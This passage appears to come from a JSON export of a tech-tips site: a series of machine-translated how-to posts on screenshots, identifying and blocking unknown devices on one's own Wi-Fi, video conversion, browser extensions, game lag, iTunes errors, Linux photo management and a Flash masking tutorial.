tires.\nThe tire of the Boeing 737 aircraft is 69 cm in diameter, 20 cm wide and surrounds a 38 cm diameter wheel rim. A Boeing 777 uses 14 tires, an Airbus A380 has 22 and the world's largest plane Antonov An-225 uses 32 tires.\n  Airplane tires are not too large, and the tire walls are not too thick. Beneath the outermost rubber layer are many different layers that help the aircraft tire to withstand good loads as well as not lose pressure. The strength of the tire lies in the cables that sink under the tread, which are usually made of nylon, or aramid (high-quality man-made fiber). Airplane tires can still explode if inflated or under-inflated, causing the tread to fall off and the tire layers to rip.\nDuring the research, the manufacturers clearly examined what would happen when the aircraft's tires were overloaded or exceeded the maximum speed during take-off and landing. According to the regulations, to meet the standards of aircraft tires must withstand 4 times the pressure indicated on the tire for a minimum of 3 seconds.\nBartholomew said it's almost impossible to blow up a plane tire by overinflating it because too much pressure will damage the rim before the tire.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZpmZp72trc2eqmaZnKK8tMCMp5yvnaJitaLCxGaYZp6clsFuwMirnA%3D%3D\n","link":"/post/why-do-airplanes-almost-never-have-a-flat-tire/","section":"post","tags":null,"title":"Why do airplanes almost never have a flat tire?"},{"body":"You often use the computer but do not know how to take a screenshot of the computer you are using because you cannot take your phone to take it again because the pictures are quite blurry. This article will guide you on 5 ways to take screenshots of a Dell computer without simple assistant software. The instructions below are done on computers running Windows 10 operating systems\u0026nbsp; .\n- Step 1 : Press the Alt \u0026nbsp;+ PrtSc\u0026nbsp; key combination\u0026nbsp; to take a screenshot of your computer.\n  - Step 2 : In the search box type\u0026nbsp; Paint \u0026nbsp;\u0026gt; Select to \u0026nbsp;Paint\u0026nbsp; \u0026gt; Press \u0026nbsp;Ctrl + V\u0026nbsp; to paste the image.\n  - Step 3 : Click \u0026nbsp;File \u0026nbsp;\u0026gt; Select \u0026nbsp;Save \u0026nbsp;\u0026gt; In the\u0026nbsp; Save as type, \u0026nbsp;choose JPEG format\u0026nbsp; \u0026nbsp;\u0026gt; Select\u0026nbsp; Save .\n  Step 1 : With these Dell Windows 10 computer screenshots, you need to use a combination of two keys simultaneously,\u0026nbsp; Windows + Screen, \u0026nbsp;to be able to take photos directly.\nImmediately after you press this key combination you will see the screen turn dark within 1 second, which means you have completed the capture of Windows 10 computer.\n ​\nStep 2 : Then just go to\u0026nbsp; This PC \u0026nbsp;\u0026gt; Go to the default collection of\u0026nbsp; Picture \u0026nbsp;on your\u0026nbsp; laptop \u0026nbsp;\u0026gt; Click on\u0026nbsp; Screenshot .\n- Step 1 : \u0026nbsp;Open the Start menu\nDo this by pressing the Windows key \u0026nbsp;or clicking the Windows logo in the lower left corner of the screen.\nThe Snipping Tool is not included with Windows XP.\n- Step 2: Type\u0026nbsp; Snipping Tool \u0026nbsp;into Start\nThis step will bring up the Snipping Tool icon at the top of the Start window.\n  - Step 3: Click the Snipping Tool icon\nThe icon has a scissors shape. This step will open the Snipping Tool application.\n  - Step 4: Open screen capture options\n+ \u0026nbsp;Free-form Snip \u0026nbsp;( Free-form Snip ): This option allows you to draw any shape with your mouse. The area inside the picture will be captured as screen shot.\n+ \u0026nbsp;Rectangular Snip \u0026nbsp;(Snip rectangle): This is the default image, and allows you to draw rectangles with any scale to make screenshots.\n+ \u0026nbsp;Window Snip \u0026nbsp;(Snip window): This option screen capture specific window, hold down the Alt like and press Print Screen. You can choose which window you want to use.\n+\u0026nbsp; Full-screen Snip \u0026nbsp;(Snip full screen): This option photographed the entire screen, but does not show the Snipping Tool window.\n  - Step 5: Click New.\nClick and drag the mouse across the screen\u0026gt; Release the mouse.\nIf you choose\u0026nbsp; Full-screen Snip , clicking\u0026nbsp; New \u0026nbsp;will capture the screen.\n  - Step 6: Choose File\u0026gt; Select Save as\u0026gt; Select a save folder\n  Step 1 : Press and hold the Windows + Shift + S combination at the same time\u0026nbsp; \u0026nbsp;to capture the area you localize.\n  Step 2 : Go\u0026nbsp; \u0026nbsp;to Paint to be able to paste the image and save it.\nGame Bar is a feature that only appears on Windows 10 and has integrated with the Xbox app that allows users to take pictures, record videos and share them on Xbox systems.\nStep 1 : Use the Windows + G key combination\u0026nbsp; \u0026nbsp;and click\u0026nbsp; Yes, This is a game .\nStep 2 : Click on the capture icon or use the key combination\u0026nbsp; Windows + Alt + Print Screen \u0026nbsp;to be able to take a screenshot of your laptop dell and when notified that the image has been saved\u0026gt; Click on it.\nThe interface of Microsoft Xbox has appeared and you clicked on\u0026nbsp; Open Folder \u0026nbsp;to be able to see the folder to save the image.\n  The above article has shown you 5 ways to take screenshots of Dell computers without simple supporting software. Hope this article helps you!\nComputer screen capture ncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYsGit8RmqpyqlZq7tLTOrapmp55irm6wxKWjZpufor22wMSrZLChpJ28tsCMrKafrKeWv6Y%3D\n","link":"/post/5-ways-to-take-screenshots-on-a-dell-computer-without-software/","section":"post","tags":null,"title":"5 ways to take screenshots on a Dell computer without software"},{"body":"The era of technology 4.0 is never as strong as it is now. Wifi is an indispensable thing in daily life for people who use technology devices such as phones, laptops, tablets, etc. The free Wifi coverage only takes place in certain areas. Remaining still have to use each individual's Wifi. But there are times when there are still people who find ways to get through the security wall to use others' Wi-Fi. Today, the Software Tips will guide you to check who is using Wifi and how to block Wifi users in the temple.\n \u0026nbsp;\n1. Check who uses Wifi pagoda Link Download: https://www.nirsoft.net/utils/wnetwatcher.zip\nYou proceed to download the software and install it as usual. Then start the software will automatically detect the Wifi in use.\nIf the software does not automatically scan, click the green arrow ( Start Scanning ) to scan software.\nAfter the scan is complete, you will manage a lot of important information such as IP address ( IP Address ), device name used, information, device configuration used .\n \u0026nbsp;\nThe software will scan IP addresses in a list and see which IP addresses are active to display on the system.\nYou double-click on any one IP address, in line Device Information Display Your Computer This means your computer is using software Wireless Network Watcher .\n \u0026nbsp;\nIf the device is Modem / Router transmitting Wifi, the software system will display as Your Router .\n \u0026nbsp;\nFor devices that leave the Device Information section blank, the devices are accessing WiFi / LAN unknown. At this point, you need to check the IP address of the network devices in your home and compare with the IP address on the software to see if there are any 'strange' IP addresses.\n \u0026nbsp;\n2. How to block users Wifi temple Step 1: After identifying the Wi-Fi users, record their MAC address to block on Modem.\n \u0026nbsp;\nStep 2: You access the following IP address: 192.168.1.1 normally for Modem types, if your device has a different IP address, please see below Modem!\n \u0026nbsp;\nStep 3: After accessing the other IP address, you proceed to log in to the Modem with your account. If you have never changed your password or have never logged in, your account and password are the default admin / admin . If it is not correct, please reset the modem to the default.\n \u0026nbsp;\nStep 4: Depending on the Modem, this step will be different. But the common feature of this section is that it is located in the Wireless section, so you can easily find it.\nFor My Modem:  Wireless ( Wireless Network) -\u0026gt; Wireless MAC Filtering -\u0026gt; Add New (Add new MAC address to the filter).\n \u0026nbsp;\nAt this point, enter the MAC addresses you want to manage here.\n \u0026nbsp;\nAfter entering, press Save to save the information.\nStep 5: After saving the MAC address, select the MAC address and select Deny the stations specified by any enabled entries in the list to access (Deny the addresses in the access list).\n \u0026nbsp;\nStep 6: The system will take a moment to save your settings. Thus, you have proceeded to block Wi-Fi users successfully. Thus, the Software Tips have shown you how to check and manage WiFi devices accessing the 'temple'. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRksKCfYra0edSsoKefXay2p7WMmqWdZZikxG7AzmaZpaeToHq4tcWiZK6rlafAbrXNZquepaChsrQ%3D\n","link":"/post/check-who-is-using-wifi-and-how-to-block-wifi-users-in-temples/","section":"post","tags":null,"title":"Check who is using Wifi and how to block Wifi users in temples"},{"body":"Xmedia Recode is a completely free video format conversion application. With it, users can quickly perform the tail-changing process for their video files. Then, feel free to review it on your mobile device. In the article below, we would like to share with you how to convert videos with this free application.\nConvert videos with Format Factory Convert music and Video formats directly with VLC Step 1 : At the main interface of Xmedia Recode, select Open File and select the video to change the tail\n  Step 2 : At the Output Format , there are the following options\nFormat : Select the format for the output Outputs stream type : Selecting the output file is only video, audio or both Destination : Click Browse to choose where to save the output file   Step 3 : Click Encode to start the conversion process\n  Step 4 : You wait for the video conversion software, if you change your mind and do not want to convert anymore, click Cancel and want to pause, click Pause .\n  After the blue bar has finished running, you find the output file you saved above.\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51ksLC61Z6prWWmnrGmu4yfpqiskZyybsPIrZ9msJ2asaqtjKucnKeUmg%3D%3D\n","link":"/post/convert-video-footage-with-xmedia-recode/","section":"post","tags":null,"title":"Convert video footage with XMedia Recode"},{"body":"In previous posts, Network Administrator showed you how to display Download button on Coc Coc to download videos more easily. So if you are using browsers like Chrome, Firefox and Opera but also want to do the same thing, how do you do it? The answer will be in this article.\nCurrently, many of you who are using Google Chrome still try to install Coc Coc just to download videos from Youtube, or some people go to intermediate websites, download software to catch a time-consuming link like Internet Download. Manager. Therefore, today the Network Administrator will share with you a very useful extension, help download button in the video player when watching with Chrome, Firefox and Opera without switching to another browser or installing the part Other software support.\nHow to download Youtube videos offline, watch Youtube videos offline 7 ways to download videos on Youtube quickly and simply How to download closed Facebook videos Instructions for adding \"Download\" button on YouTube, Facebook, . for Chrome, Firefox and Opera To use the extension, you need to download the installation extension properly with the supported version for the web browser you are using via the link below.\nChrome: Chameleon Firefox: SaveFrom.net all-in-1 helper / youtube downloader - Add-ons for Firefox Opera: SaveFrom.net helper In this article, Network Administrator will guide you to install on Chrome browser, the rest in Firefox and Opera you do the same.\nStep 1:\nFirst of all, you access this link, then click the Add to Chrome button to install the Chameleon extension.\n  Step 2:\nOnce successfully installed you will see the icon of the Chameleon utility in the upper right corner of the screen. Now left-click on the icon and select Opera add-on .\n  Step 3:\nAt the utility store interface for Opera, enter the keyword SaveFrom.net helper in the search box.\n  Step 4:\nClick on the Add to Chameleon button as shown to start installing this utility on Google Chrome.\n  Step 5:\nNow you can go to Facebook, YouTube, Dailymotion, . to test any video. As in the picture we see, the Download button has been automatically added on Youtube. You can click the download icon to download immediately with the quality set above.\n  By adding a Download button directly to YouTube, Facebook, . on Chrome, Firefox and Opera browsers, you are now comfortable downloading videos from these platforms to your computer quickly and easily.\nI wish you all success!\nSee more:\n8 extremely useful add-ons for Firefox on Android devices How to set download speed limits on Google Chrome How to fix Coc Coc browser error consuming a lot of RAM ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqlu9ano6iZlGKvtsDTqKVmp55ixrDB066ZnmWWlrCmrs6oomaen6d6pLTRqKSeZZaev6ayzrFkmqaUYryxsdGa\n","link":"/post/how-to-add-download-button-on-youtube-facebook-for-chrome-firefox-and-opera/","section":"post","tags":null,"title":"How to add 'Download' button on YouTube, Facebook, ... for Chrome, Firefox and Opera"},{"body":"IOS 9.3 operating system has been updated to add Night Shift feature for iPhone and iPad devices. This feature will help reduce the brightness on the screen, especially the effect of screen brightness on the user's eyes when used at night.\nSo want to use the Night Shift feature on Macbook computers, how does iMac run macOS? On MacOS operating systems, the Night Shift feature is still in beta. However, users can bring this special Night Shift feature to macOS, using a third-party F.lux application. In the following article, we will show you how to adjust the brightness on a Mac with F.lux.\nStep 1: First of all, we download the F.lux software on the Mac following the link below.\nDownload the free F.lux software Next, users proceed to install F.lux application on Mac as if installing other applications.\n  Step 2: After installation is complete, a small message box of F.lux will appear, click Open . Then, click Move to Applications Folder to move the application to the appropriate location to use if you have a need.\n  Step 3: Go back to the Mac's screen interface. In the Menu bar above, you click on the circle icon of F.lux . Continue to select Preferences .\n  Step 4: At the F.lux Preferences dialog box, click Recommended colors and select Custom colors . After that, click on Daytime below. Now, users drag the color effect slider to the left to change the screen brightness and color , thereby reducing or increasing the number of screen effects from waking up to sunset .\n  Step 5: Next, the user clicks Sunset and adjusts the color effect slider to the side to change the screen's brightness and colors to increase or decrease the screen effect from sunset to sleep .\n  Step 6: Click on Bedtime , drag the slider left or right to change the brightness and color to reduce or increase the number of effects from the time before going to bed until the next morning .\n  Depending on the user wants to adjust the screen effect at any time, click on that item. Overall, the F.lux application has a similar feature to Night Shift on iOS 9.3 operating system, enabling users to change the screen colors on macOS, reducing the harmful effects of screen lighting when using use.\nRefer to the following articles: Instructions on how to install macOS Sierra (clean install) 10.12 on Mac How to create a MacOS Sierra installed USB drive 10.12 Old Mac acceleration runs as fast as when you first bought it with these tips I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqinruoec2inqGsXai1qrLTZp2emaSqv6Z506hkppmTYsSqwMdmnaWtqA%3D%3D\n","link":"/post/how-to-bring-night-shift-feature-to-mac-with-f-lux/","section":"post","tags":null,"title":"How to bring Night Shift feature to Mac with F.lux"},{"body":" This wikiHow teaches you how to stop programs from automatically starting up when you turn on your computer. You can do this on both Windows and Mac computers. Open Start . Click the Windows logo in the bottom-left corner of the screen.\nMethod 1of 2:\nOn Windows  Open Start   . Click the Windows logo in the bottom-left corner of the screen.   Type task manager into Start. This will search your computer for the Task Manager app.\n  Click Task Manager. It's the computer-shaped icon at the top of the Start window. Doing so will open Task Manager. You can also press Ctrl+⇧ Shift+Del to open Task Manager directly. Task Manager may take a few seconds to finish loading.   Click the Startup tab. This tab is at the top of the Task Manager window.\n  Select a program. Click the name of a program that you want to disable. You can see a program's impact on your computer's startup speed to the right of the program's name (e.g., a high-impact program has \"High\" to the right of its name).   Click Disable. It's in the bottom-right corner of the window. Doing so will prevent the program from turning on the next time that you start your computer. If you want to turn back on a disabled program, you can select it and then click Enable in the bottom-right corner instead. EXPERT TIP\n Luigi Oppido\nComputer Repair Technician \u0026amp; Owner, Pleasure Point Computers Luigi Oppido is the Owner and Operator of Pleasure Point Computers in Santa Cruz, California. Luigi has over 25 years of experience in general computer repair, data recovery, virus removal, and upgrades.  Luigi Oppido\nComputer Repair Technician \u0026amp; Owner, Pleasure Point Computers\nExpert Variation: To change the startup programs on a PC, hit the Windows key and R to pull up the Run dialog box. Under there, type in 'MS CONFIG.' That takes you to the System Configuration utility. From there, go to the startup tab, and on Windows 10 you'll have another link just inside that tab. Inside that link, you'll have a second window with a list of every program that starts up on the machine. You can then right-click and disable the software, and you can also re-enable it there if you need to.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYysq5qqpKq9brzRqJ6rmZ2oerC6jLKmrqpdmLyuvNStnKs%3D\n","link":"/post/how-to-change-startup-programs-on-your-computer/","section":"post","tags":null,"title":"How to Change Startup Programs on Your Computer"},{"body":"4K Empire Version - Age of Empires: Definitive Edition has just been released to users, so there are some errors that players judge, such as loading game error, jerky or lag during game play. This will affect gamers' gaming experience, when the 4K Empire promises to deliver beautiful image quality with resolutions up to 4K.\nWhile waiting for Microsoft to fix the bugs that arise in the game, we can refer to some of the ways to fix the 4K Empire game that is jerky and lagging according to the article below.\nHow to fix hang game Age of Empires: Definitive Edition How to buy Vietnamese Empire Empire 4K only 115,000 VND How to reduce lag when playing Rules of Survival on a weak configuration machine How to fix the 4K Empire error, lag 1. Update the latest driver to VGA One of the errors made the 4K Empire have a shock, lag lag due to VGA video card has not updated to the latest version to be compatible with the game. The 4K empire has a capacity of more than 17 GB, and requires nVIDIA GTX 650 / AMD HD 5850 or higher discrete graphics. If so, you need to update the graphics card on your computer to be compatible when playing games, reduce the quality of the frame of degraded quality, jerky images or faulty fonts.\nReaders can refer to some ways to update diver in the article below.\n2 simple ways to update VGA driver for computer monitor, laptop How to update the driver for NVIDIA video card   2. Activate Best Performance mode If you notice on the computer, there will be 3 modes: Better Batery, Better Performance and Best Performance. Often people will use the machine in Better Batery mode to avoid harming the battery. But this mode will reduce tasks on the computer, whereby the CPU and GPU also decrease. It means that the 4K Empire will also have a shocking, lagging frame. If so, enable the Best Performance mode so that the computer works at full capacity, especially with an Nvidia laptop when it has the ability to manually switch VGA type.\n  3. Use software to increase gaming performance Using computer performance software when playing games will help reduce computer jerks or lag, such as when playing 4K Empire. Users can use the Fire Game software to increase computer performance.\nAccordingly, the software will turn off all unnecessary features on the computer, such as running processes in Game Mode, modify the system and only use computer performance to play games.\nStep 1:\nFirst, download the Fire Game software by following the link below, then proceed to install the software. The software installation process has the same basic steps as when you install other software.\nDownload Windows Fire Game software   Step 2:\nStart the software to open the game's interface. Click Turn on Game Mode to switch the computer to Game Mode mode.\n  Step 3:\nSwitch to the new interface, you will see the software fully synthesizes the programs running on the computer, but want to stop working while running Game Mode. Check and then click OK or you can click Check All to mark all if necessary.\n  We wait a few seconds for Game Mode to start.\n  Soon we will see the service number report and the process number stopped, along with the amount of RAM saved. If the amount of RAM is freed, the computer will increase performance when playing games on Windows 10.\n  Step 4:\nIf you don't need to use Game Mode, click Turn off Game Mode to turn it off.\n  In addition, users can turn off Game Bar mode on the computer to increase gaming performance, as this mode will automatically start when the game is turned on on the computer. Read how to turn off the Game Bar mode in the article How to reduce lag, jerky gaming on Windows 10 ?.\n4. Use WTFast to improve network lag In addition to playing 4K Empire that was framed by computer performance, there was also a shocking situation, 4K Empire lag due to a network error. Currently the 4K Empire is still in the process of using the test server, so you need to improve your network speed to play the game smoother.\nWTFAST software will help reduce ping when playing online games, increase network speed so you can easily play games. How to install and use WTFast refer to the article How to set up WTFast to reduce ping when playing online games, when the cable is broken.\nDownload WTFast software   The errors that arise during game play are inevitable, such as error or lag on 4K Empire. Players try these ways to increase gaming performance on computers, including 4K Empire.\nSee more:\n7 ways to do, customize in post will help your Windows 10 \"as fast as wind\" 8 easy ways to free RAM make the machine run faster Instructions on how to upgrade RAM on computers and Laptops Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjwcasZKmkka62r7OMbaJmnZ2ltrOxjKOcq6OjYrmisw%3D%3D\n","link":"/post/how-to-fix-bugs-playing-4k-empire-jerks-lag/","section":"post","tags":null,"title":"How to fix bugs playing 4K Empire jerks, lag"},{"body":"While the iPhone offers one of the best user experiences on a smartphone, it is also unavoidable with some frustrating issues.\u0026nbsp;\nFix iPhone constantly restarting error, error 9006 Error 9006 appears when you connect iPhone to iTunes on macOS or Windows, or when you are updating software, there is a connection problem. In addition, users also reported some other symptoms such as black screen or stuck while syncing because iTunes cannot complete the process.\nNetwork connection problem Error 9006 could be caused by an unstable network connection signal, so check the network and try again. When iTunes cannot communicate with Apple Server, it gives error 9006. If you are connecting to a Wifi, you can try some other network and check if the problem is solved. If Apple's servers or the iOS Software Update are both busy, you might want to try again after a while.\nIf the problem occurs when iPhone connects to the computer, the cause may also be due to the firewall configuration on the computer. Both Windows and macOS have firewall settings, so to make sure your iPhone isn't blocked, use update and sync.\nUpdate iTunes iPhone needs to update to the latest version of iTunes if they are connected and to sync or update the software. You must also update iTunes on Windows or macOS to the latest version. Once iTunes is updated to the latest version, try restarting your phone. This may be a temporary issue only as iPhone is blocked by iTunes updates.\nFix iTunes error by Dr.Fone - System Repair (iOS System Recovery) If the above methods don't work, you can fix iTunes error by using Dr.Fone - System Repair (iOS, can fix iTunes error without harming data on the device). This software is useful when the iPhone keeps restarting or the screen is stuck at the Apple logo. Dr.Fone has a lot of tools to fix iOS system errors, solve connection and sync problems. If you're having problems with iTunes, here's a great piece of software that can save you a lot of time.\n  Step 1 : Download the software and install it on the computer. When the installation is complete, the software will offer a lot of programs, one of which is System Repair . Click to select this program. There will be three more options are iOS Repair , Android Repair and iTunes Repair . iOS Repair will only be useful when fixing problems on the phone, but to fix iTunes errors, select iTunes Repair .\n  Step 2 : Next, choose Repair iTunes Error from the given options. It can fix almost all bugs, including error 9006.\nStep 3 : Click Repair iTunes Error , this option will work on all iTunes installations. It checks the iTunes version, supported devices, and supported apps. There is also a debugging mode that extends to address more problems.\n  Once the error is fixed, you can update and sync your iPhone when connected to a PC or Mac. You may need admin rights in some sections to change some settings and update software.\nfix itunes ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqqvMeopZ5laWV9d3nCqKWsrJGjwa3FjKucrKyRp8GqusZmnKuqn6c%3D\n","link":"/post/how-to-fix-iphone-9006-constantly-restarting-error/","section":"post","tags":null,"title":"How to fix iPhone 9006 constantly restarting error"},{"body":"For example, slide 2 fingers on the touchpad to scroll the page, or pinch open to zoom the screen and a variety of other gestures.\nIf you just bought a new laptop, you may have noticed that the default response of the touchpad can be quite slow. Some people like this. However, if you want your touchpad to be more responsive, that can be customized easily. Find out below.\nIncrease touchpad sensitivity on Windows 11 You can easily change the touchpad sensitivity on a Windows 11 laptop by following the steps below:\nStep 1: Click the Windows icon on the taskbar and click the gear icon to open the Windows Settings application (You can also quickly open the Settings application with the Win + I keyboard shortcut).\n  Step 2: In the Settings window that opens, click 'Bluetooth \u0026amp; Devices' in the list on the left.\n  Step 3: Move to the right screen and select 'Touchpad'.\n  Step 4: Make sure the 'Touchpad' toggle is on.\nStep 5: Increase the mouse pointer speed using the adjustment slider in the Gestures \u0026amp; interaction section.\n  Step 6: Click the Taps section to expand the options menu.\nStep 7: From the drop-down menu titled 'Touchpad sensitivity', select the 'Most sensitive' option.\n  Once you're done, close the settings app and feel the difference. Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZK2glWLAprrSoquirpmpxm67xWaroZ1dqby2r8epmJ1ln6N6onnWoqWdp6eoenJ9jKWYqayfpQ%3D%3D\n","link":"/post/how-to-increase-the-sensitivity-of-the-touchpad-on-a-windows-11-laptop/","section":"post","tags":null,"title":"How to increase the sensitivity of the touchpad on a Windows 11 laptop"},{"body":"Image management in Linux is no longer as difficult as it used to be. However, with the explosion of smart phones today, the number of photos taken is more than ever. This means that a strategy is needed to manage images effectively.\nThe best way to manage your photos depends on whether you are primarily using a smartphone or camera to capture. Do not worry! Today's article will give you useful advice in both cases.\nDo you know how to manage your photos on Linux? Import photos Edit photo Manage and organize photo galleries Store and synchronize images Import photos How to import photos will depend a lot on where the user first stores the photos. If using a standard camera, the best way is to import directly from the SD card. Simply unplug the SD card from the camera and attach it to your computer like any other drive.\nInstead of copying and pasting, you can use the image downloader. Rapid Photo Downloader not only copies images but also creates file names and folders for you. Developed by Damon Lynch, Rapid Photo Downloader photographer is free and runs on Gnome, KDE, Unity, as well as other desktop environments.\n  If using a smartphone to take pictures, it is best to use cloud storage service. If your phone uses a microSD card, you can also use Rapid Photo Downloader as mentioned above. Also, connect your phone to your PC via USB.\nEdit photo After you have imported the photos, you will probably have to make some modifications, such as cutting out the image of a stranger appearing or editing small details in the image.\nThe type of software you use will depend on the type of editing you need to perform. If all you need to do is cut or resize the image, everything is very simple. If you are looking for more information on how to do this, please refer to the following article of TipsMake.com: Instructions for resizing, formatting and editing photos on Linux with ImageMagick.\nIf you want more advanced editing, you also have a lot of options. GIMP is an image editing tool for many Linux users, but it is not the only option.\n  Krita is one of the alternatives to GIMP. If you are a KDE user, you should definitely consider Krita. But this tool is also suitable for any other desktop environment.\nSimilar to image entry, many photo management applications also include integrated editing tools. This topic will be covered in detail in the next section of the article.\nManage and organize photo galleries There are many photo management applications available for Linux.\nShotwell is one of the more popular options, especially for Gnome users. This application allows users to organize photos by card, folder, time and date, etc. Shotwell is also full of features, with built-in functionality for importing photos and editing them. Darktable is another great option. Created by photographers, Darktable focuses on providing tools for those who take photos in RAW format. The application has a non-destructive editing feature, which means you can make many changes but still retain the ability to return to the original if you make a mistake.   Of course, not necessarily a full-featured application for managing photo libraries. You don't need an application if you don't really want to use it.\nInstead, just keep the image streamlined on the hard drive as if it is usually organized files. The advantage of this method is that it is very simple and users can always keep their images synchronized with the cloud service. We will learn more about this in the next section.\nIf you want to use the application to manage the photo library, you can try Lychee. This application allows setting up a photo server (photo server) on a private computer or on the Internet. If you are afraid of cloud storage after seeing so many cloud services stopped working in the past, Lychee may be the perfect choice for you.\nStore and synchronize images After you've entered, edited and sorted photos, it's time to think about archiving. If you save photos on your hard drive, sharing them will not be easy.\nIn addition to Lychee application, you can choose cloud storage. Dropbox is very popular and works well on Linux. Google Photos is also a popular choice, especially for Android users.\nIf you want to use Google Photos, you can even access your photos on your computer via Google Drive.\nIf you are wondering how to access photos on your computer via Google Drive, refer to the article: How to access and sync Google Drive in Ubuntu.\n  If you don't like cloud storage, you can still keep a copy of the image somewhere else. Simply copy the image to a regular external hard drive, using more than one drive.\nThe above strategies are at least a good start to easily manage photos on Linux.\nWishing you a suitable option!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYypn6isn6h6sLqMpaCnrag%3D\n","link":"/post/how-to-manage-photos-on-linux/","section":"post","tags":null,"title":"How to manage photos on Linux"},{"body":"When the Firefox browser is up to the latest version, users will always receive a Firefox update notification on the screen, and the automatic update process will take place later. However, you do not always need to want to update Firefox to the latest version and want to turn off this notification interface, so that it will not appear on the computer screen anymore. In order to change the Firefox update notification mode, users proceed to change it again in Firefox browser settings. The following article will guide you how to turn off Firefox updates.\nHow to update Google Chrome to the latest version? Instructions for updating the latest Adobe Flash Player version The easiest way to speed up Firefox How to turn off Firefox notifications on Action Center Windows 10 Instructions to turn off Firefox update to the latest version Step 1:\nAt the Firefox browser interface, users click on the gear icon .\n  Step 2:\nSwitch to the setting interface on the browser. Here the user clicks on the General tab in the menu on the left side of the screen, then looks to the right to find the Firefox Updates section .\n  Next drag below the Allow Firefox to content section, which is set to Automatically install updates by default as shown below.\n  Step 3:\nTo turn off auto-update for Firefox, users choose to check for updates but let you choose to install them (Check for updates but you will choose to install them).\n  Just change the Firefox update settings again, Firefox will not automatically update. After turning off automatic updates you should check for updates regularly to limit Firefox errors when using the old version.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJ%2BhopqzsMSMrqedmaSawG6t1K2mppmknrCiuMuy\n","link":"/post/how-to-turn-off-firefox-updates-automatically/","section":"post","tags":null,"title":"How to turn off Firefox updates automatically"},{"body":"Becoming the world's largest video hosting site, Youtube not only brings all the videos you need, but also where we can socialize and make friends. The number of visitors to YouTube has increased, confirming the strong position of this entertainment video channel.\n7 ways to download videos on Youtube quickly and simply How to play live video on YouTube? Fix Flash errors when watching videos on YouTube However, if you are working on something on your computer, you will have to constantly turn off and run the Youtube video so you can watch the entire video. Pretty time consuming. Therefore, the YouTube video pin tool under the corner of the screen is considered an effective way to help you both watch YouTube videos seamlessly and do everything on your computer such as Facebook, web surfing, gaming, . With Network Administrator learn how to pin YouTube videos under the screen.\n1. Use the utility on Chrome browser: The Floating for YouTube application installed on Chrome will help you to watch YouTube videos anywhere on your computer.\nStep 1: You access this link to install the Floating for YouTube application. Click Add to Chrome to install.\n  Step 2: After completing the installation, go back to the application settings page and click the Run application section.\n  Step 3: Immediately after running the application, a new dialog will appear so we can copy the URL of the video you want to pin.\n  Step 4: When pasting the Youtube video link, the window will become a miniature YouTube video and will always appear on the screen. To move this video window, use the left mouse button to point the plus sign on the window screen and move any position you want. Turning the pushpin icon on or off allows the video to always appear or not on the screen.\nWe can also extend or narrow the video window depending on the purpose of the viewer.\n  Step 5: After turning off the video and you want to continue using it, you can open the Chrome App Launcher folder on your computer screen, which appears immediately after running the Floating for YouTube application.\n  Then click on the icon of the application and also a window will appear so we can paste the video URL to pin on the screen.\n  2. Use Coc Coc browser: In the new version of Coc Coc, the video clip feature is also updated so that you can minimize the Youtube video screen and always appear on the screen, no matter what job you do.\nStep 1: Open Youtube video that wants to pin on Coc Coc browser. When hovering over the video screen, you will see the Pin option.\n  Step 2: Shortly thereafter, the minimized window of the Youtube video interface appears. We can move the video screen anywhere you want. To return to the same state, click the arrow icon .\n  By Floating for YouTube or using Coc Coc browser, you will not need to switch between tabs when watching Youtube videos, or stop watching midway to do other tasks that can track the entire video.\nRefer to the following articles: Guide to watching YouTube while working on other iOS devices How to download the entire Video Playlist on Youtube How does YouTube get a black screen error on the browser? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaomaO7qrrGZrCoraSqr6Z51aKbnqejYsKvsMSrZK2glWLApL7EnqVmm5%2Bnu6a%2B\n","link":"/post/instructions-for-pinning-youtube-videos-under-the-screen-corner/","section":"post","tags":null,"title":"Instructions for pinning Youtube videos under the screen corner"},{"body":"With this exercise, you will know how to create an attractive appearance of the image object with the sound in Flash 8 (without using the Action Scrip). This effect is very useful and you can use it for any flash header. In this exercise, I use masking effects for the interior of a modern home.\nStep 1 Before opening a new Flash file, you must search for a photo or any object (such as a car image or house .). For example, I will use an interior photo of the house. You can download my photo if you like.\n  Step 2 Launch Flash program, set the width, height and frame rate as you like. In the example I took is 36fps, the background color is white (you can choose a different color). Step 3 Go to File \u0026gt; Import \u0026gt; Import to stage and insert it into your photo. Select the image just inport, press F8 key (Convert to Symbol) to convert it into a Movie Clip.\n  Step 4 Select the Selection tool (V) and double-click the newly created movie clip. You will enter the inner editing of the Movie Clip\n  Step 5 Select the image, press again the F8 key to convert it again into a Movie Clip\n  Step 6 Lock layer 1, create layer 2, select it and grab the Line Tool (N). Select the stroke color as a dark color if you have left the white background and if the background is dark, you should choose a light color line. In the example, I selected the background color to be white, so the line color would have to be black. Part Stroke Style select Solid with a thickness of 1 line.\n  Step 7 Then, draw a border for the object (which is the picture) as shown below\n  Step 8 Create layer 3, grab the Brush Tool (B), choose Brush size at the big size, choose Brush color and click on some points on the contour object.\n    Step 9 \n Press F6, and draw a few more points on the object border (still using the Brush Tool).\n    Repeat this process until there are no spots left on the picture. See the picture below\n    Step 10 Select layer 3 and convert it to a mask by right-clicking on layer 3 and selecting Mash in the menu that appears.\n  Step 11 \n Create layer 4, lock layer 2, select the first frame and press Ctrl + C key (Copy). Back to layer 4, select the first frame and press Ctrl + Shift + V (Paste in Place) Step 12 Lock layer 2 and layer 4, create layer 5. Select the Brush Tool (B) and draw a few points on the other part of the picture just like you did in the first part of the object (picture)\n  Step 13 Select layer 5 and convert it to a mask by right-clicking on layer 5 and selecting Mask in the 